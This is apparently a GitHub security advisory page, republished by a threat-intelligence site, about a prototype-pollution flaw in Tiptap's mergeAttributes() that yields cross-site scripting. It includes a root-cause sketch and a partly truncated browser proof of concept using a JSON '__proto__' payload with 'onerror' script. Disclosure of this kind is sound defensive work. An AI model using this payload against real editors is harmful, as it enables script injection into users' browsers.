mediumVulnerability

GHSA-cp6q-959q-f8rh

## Summary `@tiptap/core`'s public `mergeAttributes()` helper uses ordinary bracket assignment on keys returned by `Object.entries()`. An own `__proto__` key from JSON therefore invokes the legacy prototype setter on the fresh merged object. The function returns an object whose prototype is attacker-controlled, while `Object.keys()` and ordinary own-property checks show no attacker attributes. When that result is used as a ProseMirror DOMOutputSpec attribute object, `prosemirror-model`'s `DOMSerializer.renderSpec()` enumerates it with `for...in` and applies inherited values with `setAttribute()`. In a browser proof, inherited `src` and `onerror` values were copied to an `<img>` and the error handler executed once. This is per-object prototype manipulation; the proof does not modify global `Object.prototype`. ## Root cause The affected loop is conceptually: ```ts const mergedAttributes = { ...items } for (const [key, value] of Object.entries(item)) { const exists = mergedAttributes[key] // ... mergedAttributes[key] = value } ``` `Object.entries(JSON.parse('{"__proto__": {...}}'))` includes `__proto__`. Reading `mergedAttributes['__proto__']` resolves the inherited `Object.prototype`; assigning to the same key invokes `Object.prototype.__proto__`'s setter and replaces `mergedAttributes`' prototype. ## Browser reproduction The following shape was tested with exact `@tiptap/core` 3.29.2 and `prosemirror-model` 1.25.11: ```js const input = JSON.parse(`{ "__proto__": { "data-inherited-canary": "present", "src": "x-invalid://canary", "onerror": "globalThis.__tiptapXss += 1" } }`) const attrs = mergeAttributes(input) // Object.keys(attrs) === [] // Object.getPrototypeOf(attrs) === input.__proto__ const schema = new Schema({ nodes: { doc: { content: 'image' }, image: { toDOM: () => ['img', attrs] }, text: {}, }, }) const doc = schema.node('doc', null, [schema.node('image')]) const fragment = DOMSerializer.fromSchema(schema).se

Properties

ghsa_id
GHSA-cp6q-959q-f8rh
severity
medium
summary
Tiptap: mergeAttributes() turns an own __proto__ key into inherited executable DOM attributes
cve_id
GHSA-cp6q-959q-f8rh
is_ghsa_only
true
ghsa_published
2026-09-02T14:44:39Z
source_url
https://github.com/advisories/GHSA-cp6q-959q-f8rh
ghsa_updated
2026-09-02T14:44:40Z

Related Entities (5)

REPORTED_BY (1)

[Source]GitHub Advisory Database

VULNERABLE_TO (1)

[Software]npm/@tiptap/core

AFFECTS (1)

[Software]npm/@tiptap/core

HAS_WEAKNESS (2)

[Weakness]Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
[Weakness]Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-cp6q-959q-f8rh — Ninja Signal Threat Intelligence | Ninja Signal